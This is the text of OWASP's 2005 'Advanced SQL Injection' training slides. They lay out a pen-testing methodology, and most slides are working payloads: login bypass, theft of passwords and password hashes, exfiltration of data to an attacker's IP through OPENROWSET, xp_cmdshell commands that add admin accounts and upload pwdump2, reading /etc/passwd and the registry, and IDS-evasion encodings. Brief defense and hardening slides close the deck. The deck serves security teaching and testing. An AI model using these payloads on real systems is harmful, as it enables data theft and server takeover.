Advanced SQL Injection

OWASP
4/11/2005

Copyright © The OWASP Foundation

Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation

http://www.owasp.org
What is SQL?

 SQL stands for Structured Query Language

 Allows us to access a database
 ANSI and ISO standard computer language
 The most current standard is SQL99
 SQL can:
 execute queries against a database
 retrieve data from a database
 insert new records in a database
 delete records from a database
 update records in a database

OWASP 2
SQL is a Standard - but...

There are many different versions of the SQL

language
They support the same major keywords in a
similar manner (such as SELECT, UPDATE,
DELETE, INSERT, WHERE, and others).
Most of the SQL database programs also have
their own proprietary extensions in addition
to the SQL standard!

OWASP 3
SQL Database Tables

 A relational database contains one or more tables

identified each by a name
 Tables contain records (rows) with data
 For example, the following table is called "users" and
contains data distributed in rows and columns:

userID Name LastName Login Password

1 John Smith jsmith hello

2 Adam Taylor adamt qwerty
3 Daniel Thompson dthompson dthompson

OWASP 4
SQL Queries

With SQL, we can query a database and have a

result set returned
Using the previous table, a query like this:
SELECT LastName
FROM users
WHERE UserID = 1;
Gives a result set like this:
LastName
--------------
Smith

OWASP 5
SQL Data Manipulation Language (DML)

SQL includes a syntax to update, insert, and

delete records:
SELECT - extracts data
UPDATE - updates data
INSERT INTO - inserts new data
DELETE - deletes data

OWASP 6
SQL Data Definition Language (DDL)

 The Data Definition Language (DDL) part of SQL

permits:
 Database tables to be created or deleted
 Define indexes (keys)
 Specify links between tables
 Impose constraints between database tables
 Some of the most commonly used DDL statements in
SQL are:
 CREATE TABLE - creates a new database table
 ALTER TABLE - alters (changes) a database table
 DROP TABLE - deletes a database table

OWASP 7
Metadata

 Almost all SQL databases are based on the

RDBM (Relational Database Model)
 One important fact for SQL Injection
 Amongst Codd's 12 rules for a Truly Relational
Database System:
4. Metadata (data about the database) must be stored in the
database just as regular data is
 Therefore, database structure can also be read and
altered with SQL queries

OWASP 8
What is SQL Injection?

The ability to inject SQL commands into

the database engine
through an existing application

OWASP 9
How common is it?

 It is probably the most common Website vulnerability

today!
 It is a flaw in "web application" development,
it is not a DB or web server problem
 Most programmers are still not aware of this problem
 A lot of the tutorials & demo “templates” are vulnerable
 Even worse, a lot of solutions posted on the Internet are not
good enough
 In our pen tests over 60% of our clients turn out to be
vulnerable to SQL Injection

OWASP 10
Vulnerable Applications
 Almost all SQL databases and programming languages are
potentially vulnerable
 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,
Informix, etc
 Accessed through applications developed using:
 Perl and CGI scripts that access databases
 ASP, JSP, PHP
 XML, XSL and XSQL
 Javascript
 VB, MFC, and other ODBC-based tools and APIs
 DB specific Web-based applications and API’s
 Reports and DB Applications
 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
 many more

OWASP 11
How does SQL Injection work?

Common vulnerable login query

SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'";

OWASP 12
Injecting through Strings

formusr = ' or 1=1 – –

formpwd = anything

Final query would look like this:

SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'

OWASP 13
The power of '

It closes the string parameter

Everything after is considered part of the SQL
command
Misleading Internet suggestions include:
Escape it! : replace ' with ' '
String fields are very common but there are
other types of fields:
Numeric
Dates

OWASP 14
If it were numeric?

SELECT * FROM clients

WHERE account = 12345678
AND pin = 1111

PHP/MySQL login syntax

$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";

OWASP 15
Injecting Numeric Fields

$formacct = 1 or 1=1 #
$formpin = 1111

Final query would look like this:

SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111

OWASP 16
SQL Injection Characters

 ' or " character String Indicators

 -- or # single-line comment
 /*…*/ multiple-line comment
+ addition, concatenate (or space in url)
 || (double pipe) concatenate
% wildcard attribute indicator
 ?Param1=foo&Param2=bar URL Parameters
 PRINT useful as non transactional command
 @variable local variable
 @@variable global variable
 waitfor delay '0:0:10' time delay

OWASP 17
 Methodology

OWASP
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation

http://www.owasp.org
SQL Injection Testing Methodology

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 19
1) Input Validation

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 20
Discovery of Vulnerabilities

 Vulnerabilities can be anywhere, we check all entry

points:
 Fields in web forms
 Script parameters in URL query strings
 Values stored in cookies or hidden fields
 By "fuzzing" we insert into every one:
 Character sequence: ' " ) # || + >
 SQL reserved words with white space delimiters
 %09select (tab%09, carriage return%13, linefeed%10 and
space%32 with and, or, update, insert, exec, etc)
 Delay query ' waitfor delay '0:0:10'--

OWASP 21
2) Information Gathering

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 22
2) Information Gathering

 We will try to find out the following:

a) Output mechanism
b) Understand the query
c) Determine database type
d) Find out user privilege level
e) Determine OS interaction level

OWASP 23
a) Exploring Output Mechanisms

1. Using query result sets in the web application

2. Error Messages
 Craft SQL queries that generate specific types of error
messages with valuable info in them
3. Blind SQL Injection
 Use time delays or error signatures to determine extract
information
 Almost the same things can be done but Blind Injection is
much slower and more difficult
4. Other mechanisms
 e-mail, SMB, FTP, TFTP

OWASP 24
Extracting information through Error
Messages

 Grouping Error
 ' group by columnnames having 1=1 - -
 Type Mismatch
 ' union select 1,1,'text',1,1,1 - -
 ' union select 1,1, bigint,1,1,1 - -
 Where 'text' or bigint are being united into an int column
 In DBs that allow subqueries, a better way is:
 ' and 1 in (select 'text' ) - -
 In some cases we may need to CAST or CONVERT our data to
generate the error messages

OWASP 25
Blind Injection

 We can use different known outcomes

 ' and condition and '1'='1
 Or we can use if statements
 '; if condition waitfor delay '0:0:5' --
 '; union select if( condition , benchmark (100000,
sha1('test')), 'false' ),1,1,1,1;
 Additionally, we can run all types of queries but with no
debugging information!
 We get yes/no responses only
 We can extract ASCII a bit at a time...
 Very noisy and time consuming but possible with automated
tools like SQueaL

OWASP 26
b) Understanding the Query

 The query can be:

 SELECT
 UPDATE
 EXEC
 INSERT
 Or something more complex
 Context helps
 What is the form or page trying to do with our input?
 What is the name of the field, cookie or parameter?

OWASP 27
SELECT Statement

Most injections will land in the middle of a

SELECT statement
In a SELECT clause we almost always end up in
the WHERE section:
SELECT *
 FROM table
 WHERE x = 'normalinput' group by x having 1=1 --
 GROUP BY x
 HAVING x = y
 ORDER BY x

OWASP 28
UPDATE statement

In a change your password section of an app we

may find the following
UPDATE users
SET password = 'new password'
WHERE login = logged.user
AND password = 'old password'
If you inject in new password and comment the rest,
you end up changing every password in the table!

OWASP 29
Determining a SELECT Query Structure

1. Try to replicate an error free navigation

 Could be as simple as ' and '1' = '1
 Or ' and '1' = '2
2. Generate specific errors
 Determine table and column names
' group by columnnames having 1=1 --
 Do we need parenthesis? Is it a subquery?

OWASP 30
Is it a stored procedure?

We use different injections to determine what

we can or cannot do
,@variable
?Param1=foo&Param2=bar
PRINT
PRINT @@variable

OWASP 31
Tricky Queries

 When we are in a part of a subquery or begin - end

statement
 We will need to use parenthesis to get out
 Some functionality is not available in subqueries (for example
group by, having and further subqueries)
 In some occasions we will need to add an END
 When several queries use the input
 We may end up creating different errors in different queries, it
gets confusing!
 An error generated in the query we are interrupting may
stop execution of our batch queries
 Some queries are simply not escapable!

OWASP 32
c) Determine Database Engine Type

Most times the error messages will let us know

what DB engine we are working with
ODBC errors will display database type as part of the
driver information
If we have no ODBC error messages:
We make an educated guess based on the Operating
System and Web Server
Or we use DB-specific characters, commands or
stored procedures that will generate different error
messages

OWASP 33
 Some differences
MS SQL Oracle Postgres
MySQL Access DB2
T-SQL PL/SQL PL/pgSQL

Concatenate concat ("

Strings
' '+' ' ", " ")
" "&" " ' '||' ' " "+" " ' '||' '

Null
Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
replace

Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()

select into import

Op Sys xp_cmdshell outfile / #date# utf_file from Call
interaction
dumpfile export to

Cast Yes No No No Yes Yes

OWASP 34
More differences…

MS SQL MySQL Access Oracle DB2 Postgres

UNION Y Y Y Y Y Y

N 4.0
Subselects Y N Y Y Y
Y 4.1

Batch Queries Y N* N N N Y

Default stored
Many N N Many N N
procedures

Linking DBs Y Y N Y Y N

OWASP 35
d) Finding out user privilege level

 There are several SQL99 built-in scalar functions that will

work in most SQL implementations:
 user or current_user
 session_user
 system_user
 ' and 1 in (select user ) --
 '; if user ='dbo' waitfor delay '0:0:5 '--
 ' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );

OWASP 36
DB Administrators

 Default administrator accounts include:

 sa, system, sys, dba, admin, root and many others
 In MS SQL they map into dbo:
 The dbo is a user that has implied permissions to perform all
activities in the database.
 Any member of the sysadmin fixed server role who uses a
database is mapped to the special user inside each database
called dbo.
 Also, any object created by any member of the sysadmin fixed
server role belongs to dbo automatically.

OWASP 37
3) 1=1 Attacks

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 38
Discover DB structure

Determine table and column names

' group by columnnames having 1=1 --
Discover column name types
' union select sum(columnname ) from
tablename --
Enumerate user defined tables
' and 1 in (select min(name) from sysobjects
where xtype = 'U' and name > '.') --

OWASP 39
Enumerating table columns in different DBs
 MS SQL
 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = 'tablename ')
 sp_columns tablename (this stored procedure can be used instead)
 MySQL
 show columns from tablename
 Oracle
 SELECT * FROM all_tab_columns
WHERE table_name='tablename '
 DB2
 SELECT * FROM syscat.columns
WHERE tabname= 'tablename '
 Postgres
 SELECT attnum,attname from pg_class, pg_attribute
WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

OWASP 40
All tables and columns in one query

' union select 0, sysobjects.name + ': ' +

syscolumns.name + ': ' + systypes.name, 1, 1,
'1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype = 'U' AND
sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --

OWASP 41
Database Enumeration

In MS SQL Server, the databases can be queried

with master..sysdatabases
Different databases in Server
 ' and 1 in (select min(name ) from
master.dbo.sysdatabases where name >'.' ) --
File location of databases
 ' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename >'.' ) --

OWASP 42
System Tables

 Oracle  MS Access
 SYS.USER_OBJECTS  MsysACEs
 SYS.TAB
 MsysObjects
 SYS.USER_TEBLES
 SYS.USER_VIEWS  MsysQueries
 SYS.ALL_TABLES  MsysRelationships
 SYS.USER_TAB_COLUMNS
 SYS.USER_CATALOG
 MS SQL Server
 MySQL
 sysobjects
 mysql.user
 syscolumns
 mysql.host
 systypes
 mysql.db
 sysdatabases

OWASP 43
4) Extracting Data

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 44
Password grabbing

Grabbing username and passwords from a User

Defined table
'; begin declare @var varchar(8000)
set @var=':' select @var=@var+'
'+login+'/'+password+' '
from users where login>@var
select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --

OWASP 45
Create DB Accounts

MS SQL
 exec sp_addlogin 'victor', 'Pass123'
 exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
 INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost',
PASSWORD('Pass123'))
Access
 CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
 CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
 CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
 GRANT CONNECT TO victor;
 GRANT RESOURCE TO victor;

OWASP 46
Grabbing MS SQL Server Hashes

 An easy query:
 SELECT name, password FROM sysxlogins
 But, hashes are varbinary
 To display them correctly through an error message we need to
Hex them
 And then concatenate all
 We can only fit 70 name/password pairs in a varchar
 We can only see 1 complete pair at a time
 Password field requires dbo access
 With lower privileges we can still recover user names and brute
force the password

OWASP 47
What do we do?
 The hashes are extracted using
 SELECT password FROM master..sysxlogins
 We then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
 And then we just cycle through all passwords

OWASP 48
 Extracting SQL Hashes

It is a long statement

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue
varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring
char(16) set @var=':' select @xdate1=(select min(xdate1) from
master.dbo.sysxlogins where password is not null) begin while @xdate1 <=
(select max(xdate1) from master.dbo.sysxlogins where password is not null)
begin select @binvalue=(select password from master.dbo.sysxlogins where
xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare
@tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,
SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select
@secondint=@tempint - (@firstint*16) select @charvalue=@charvalue +
SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring,
@secondint+1, 1) select @i=@i+1 end select @var=@var+' |
'+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1
select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins
where xdate1>@xdate1 and password is not null) end select @var as x into
temp end end --

OWASP 49
Extract hashes through error messages

' and 1 in (select x from temp) --

' and 1 in (select substring (x, 256, 256) from
temp) --
' and 1 in (select substring (x, 512, 256) from
temp) --
etc…
' drop table temp --

OWASP 50
Brute forcing Passwords

 Passwords can be brute forced by using the attacked server to do

the processing
 SQL Crack Script
 create table tempdb..passwords( pwd varchar(255) )
 bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
 select name, pwd from tempdb..passwords inner join sysxlogins on
(pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name,
name from sysxlogins where (pwdcompare( name, sysxlogins.password,
0 ) = 1) union select sysxlogins.name, null from sysxlogins join
syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is
null and syslogins.isntgroup=0 and syslogins.isntuser=0
 drop table tempdb..passwords

OWASP 51
Transfer DB structure and data

Once network connectivity has been tested

SQL Server can be linked back to the attacker's
DB by using OPENROWSET
DB Structure is replicated
Data is transferred
It can all be done by connecting to a remote
port 80!

OWASP 52
Create Identical DB Structure

'; insert into

OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
select * from user_database.dbo.sysobjects --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

OWASP 53
Transfer DB

'; insert into

OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')
select * from database..table1 --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2')
select * from database..table2 --

OWASP 54
5) OS Interaction

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 55
Interacting with the OS

 Two ways to interact with the OS:

1. Reading and writing system files from disk
 Find passwords and configuration files
 Change passwords and configuration
 Execute commands by overwriting initialization or
configuration files
2. Direct command execution
 We can do anything
 Both are restricted by the database's running
privileges and permissions

OWASP 56
MySQL OS Interaction

MySQL
LOAD_FILE
 ' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
 create table temp( line blob );
 load data infile '/etc/passwd' into table temp;
 select * from temp;
SELECT INTO OUTFILE

OWASP 57
MS SQL OS Interaction

 MS SQL Server
 '; exec master..xp_cmdshell 'ipconfig > test.txt' --
 '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --
 '; begin declare @data varchar(8000) ; set @data='| ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select @data
as x into temp end --
 ' and 1 in (select substring(x,1,256) from temp) --
 '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --

OWASP 58
Architecture

 To keep in mind always!

 Our injection most times will be executed on a different
server
 The DB server may not even have Internet access

Web Server Application Server Database Server

Web Input Injected SQL

Page Validation Execution!
Access Flaw
OWASP 59
Assessing Network Connectivity

 Server name and configuration

 ' and 1 in (select @@servername ) --
 ' and 1 in (select srvname from master..sysservers ) --
NetBIOS, ARP, Local Open Ports, Trace route?
 Reverse connections
 nslookup, ping
 ftp, tftp, smb
 We have to test for firewall and proxies

OWASP 60
Gathering IP information through reverse
lookups
Reverse DNS
'; exec master..xp_cmdshell 'nslookup a.com MyIP' --
Reverse Pings
'; exec master..xp_cmdshell 'ping MyIP' --
OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa;
pwd=Pass123; Network=DBMSSOCN;
Address=MyIP,80;',
'select * from table')

OWASP 61
Network Reconnaissance

Using the xp_cmdshell all the following can be

executed:
Ipconfig /all
Tracert myIP
arp -a
nbtstat -c
netstat -ano
route print

OWASP 62
Network Reconnaissance Full Query

 '; declare @var varchar(256); set @var = ' del test.txt && arp
-a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >>
test.txt && netstat -ano >> test.txt && route print >> test.txt
&& tracert -w 10 -h 10 google.com >> test.txt'; EXEC
master..xp_cmdshell @var --
 '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT
tmp FROM 'test.txt' --
 '; begin declare @data varchar(8000) ; set @data=': ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end --
 ' and 1 in (select substring(x,1,255) from temp) --
 '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --

OWASP 63
6) OS Cmd Prompt

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 64
Jumping to the OS

Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;
MS SQL Windows Password Creation
'; exec xp_cmdshell 'net user /add victor Pass123'--
'; exec xp_cmdshell 'net localgroup /add
administrators victor' --
Starting Services
'; exec master..xp_servicecontrol 'start','FTP
Publishing' --

OWASP 65
Using ActiveX Automation Scripts

Speech example
'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'warning, your
sequel server has been hacked!', 1
waitfor delay '00:00:03' --

OWASP 66
Retrieving VNC Password from Registry

'; declare @out binary(8)

exec master..xp_regread
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\ORL\WinVNC3\Default',
@value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from
temp) --

OWASP 67
7) Expand Influence

1) Input Validation

2) Info. Gathering

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence

OWASP 68
Hopping into other DB Servers

Finding linked servers in MS SQL

select * from sysservers
Using the OPENROWSET command hopping to
those servers can easily be achieved
The same strategy we saw earlier with using
OPENROWSET for reverse connections

OWASP 69
Linked Servers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases

OWASP 70
Executing through stored procedures
remotely
 If the remote server is configured to only allow stored procedure
execution, this changes would be made:
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'

OWASP 71
Uploading files through reverse connection

 '; create table AttackerTable (data text) --

 '; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')
 '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLSer
ver\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN,
MyIP, 80' --
 '; exec xp_cmdshell 'bcp "select * from AttackerTable"
queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor
-PPass123' --

OWASP 72
Uploading files through SQL Injection

If the database server has no Internet

connectivity, files can still be uploaded
Similar process but the files have to be hexed
and sent as part of a query string
Files have to be broken up into smaller pieces
(4,000 bytes per piece)

OWASP 73
Example of SQL injection file uploading

The whole set of queries is lengthy

You first need to inject a stored procedure to
convert hex to binary remotely
You then need to inject the binary as hex in
4000 byte chunks
' declare @hex varchar(8000), @bin varchar(8000)
select @hex = '4d5a900003000…
 8000 hex chars …0000000000000000000' exec
master..sp_hex2bin @hex, @bin output ; insert
master..pwdump2 select @bin --
Finally you concatenate the binaries and dump
the file to disk.
OWASP 74
 Evasion Techniques

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Evasion Techniques

Input validation circumvention and IDS Evasion

techniques are very similar
Snort based detection of SQL Injection is
partially possible but relies on "signatures"
Signatures can be evaded easily
Input validation, IDS detection AND strong
database and OS hardening must be used
together

OWASP 76
IDS Signature Evasion

Evading ' OR 1=1 signature

 ' OR 'unusual' = 'unusual'
 ' OR 'something' = 'some'+'thing'
 ' OR 'text' = N'text'
 ' OR 'something' like 'some%'
 ' OR 2 > 1
 ' OR 'text' > 't'
 ' OR 'whatever' IN ('whatever')
 ' OR 2 BETWEEN 1 AND 3

OWASP 77
Input validation

Some people use PHP addslashes() function to

escape characters
single quote (')
double quote (")
backslash (\)
NUL (the NULL byte)
This can be easily evaded by using replacements
for any of the previous characters in a numeric
field

OWASP 78
Evasion and Circumvention

IDS and input validation can be circumvented by

encoding
Some ways of encoding parameters
URL encoding
Unicode/UTF-8
Hex enconding
char() function

OWASP 79
MySQL Input Validation Circumvention using
Char()

 Inject without quotes (string = "%"):

 ' or username like char(37);
 Inject without quotes (string = "root"):
 ' union select * from users where login =
char(114,111,111,116);
 Load files in unions (string = "/etc/passwd"):
 ' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,
1;
 Check for existing files (string = "n.ext"):
 ' and
1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0)
);

OWASP 80
IDS Signature Evasion using white spaces

UNION SELECT signature is different to

UNION SELECT
Tab, carriage return, linefeed or several white
spaces may be used
Dropping spaces might work even better
'OR'1'='1' (with no spaces) is correctly interpreted by
some of the friendlier SQL databases

OWASP 81
IDS Signature Evasion using comments

Some IDS are not tricked by white spaces

Using comments is the best alternative
/* … */ is used in SQL99 to delimit multirow
comments
UNION/**/SELECT/**/
'/**/OR/**/1/**/=/**/1
This also allows to spread the injection through
multiple fields
 USERNAME: ' or 1/*
 PASSWORD: */ =1 --

OWASP 82
IDS Signature Evasion using string
concatenation
In MySQL it is possible to separate instructions
with comments
UNI/**/ON SEL/**/ECT
Or you can concatenate text and use a DB
specific instruction to execute
Oracle
 '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL
 '; EXEC ('SEL' + 'ECT US' + 'ER')

OWASP 83
IDS and Input Validation Evasion using
variables
 Yet another evasion technique allows for the definition
of variables
 ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' +
N'ER');
 EXEC (@x)
 EXEC SP_EXECUTESQL @x
 Or even using a hex value
 ; declare @x varchar(80); set @x =
0x73656c65637420404076657273696f6e; EXEC (@x)
 This statement uses no single quotes (')

OWASP 84
 Defending Against SQL
Injection

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SQL Injection Defense

It is quite simple: input validation

The real challenge is making best practices
consistent through all your code
Enforce "strong design" in new applications
You should audit your existing websites and source
code
Even if you have an air tight design, harden your
servers

OWASP 86
Strong Design

Define an easy "secure" path to querying data

Use stored procedures for interacting with database
Call stored procedures through a parameterized API
Validate all input through generic routines
Use the principle of "least privilege"
 Define several roles, one for each kind of query

OWASP 87
Input Validation

Define data types for each field

Implement stringent "allow only good" filters
 If the input is supposed to be numeric, use a numeric
variable in your script to store it
Reject bad input rather than attempting to escape or
modify it
Implement stringent "known bad" filters
 For example: reject "select", "insert", "update", "shutdown",
"delete", "drop", "--", "'"

OWASP 88
Harden the Server

1. Run DB as a low-privilege user account

2. Remove unused stored procedures and functionality or
restrict access to administrators
3. Change permissions and remove "public" access to
system objects
4. Audit password strength for all user accounts
5. Remove pre-authenticated linked servers
6. Remove unused network protocols
7. Firewall the server so that only trusted clients can
connect to it (typically only: administrative network,
web server and backup server)

OWASP 89
Detection and Dissuasion

 You may want to react to SQL injection attempts by:

 Logging the attempts
 Sending email alerts
 Blocking the offending IP
 Sending back intimidating error messages:
 "WARNING: Improper use of this application has been detected. A
possible attack was identified. Legal actions will be taken."
 Check with your lawyers for proper wording
 This should be coded into your validation scripts

OWASP 90
Conclusion

SQL Injection is a fascinating and dangerous

vulnerability
All programming languages and all SQL
databases are potentially vulnerable
Protecting against it requires
strong design
correct input validation
hardening

OWASP 91
Links

 A lot of SQL Injection related papers

 http://www.nextgenss.com/papers.htm
 http://www.spidynamics.com/support/whitepapers/
 http://www.appsecinc.com/techdocs/whitepapers.html
 http://www.atstake.com/research/advisories
 Other resources
 http://www.owasp.org
 http://www.sqlsecurity.com
 http://www.securityfocus.com/infocus/1768

OWASP 92
 Advanced SQL Injection

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Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation

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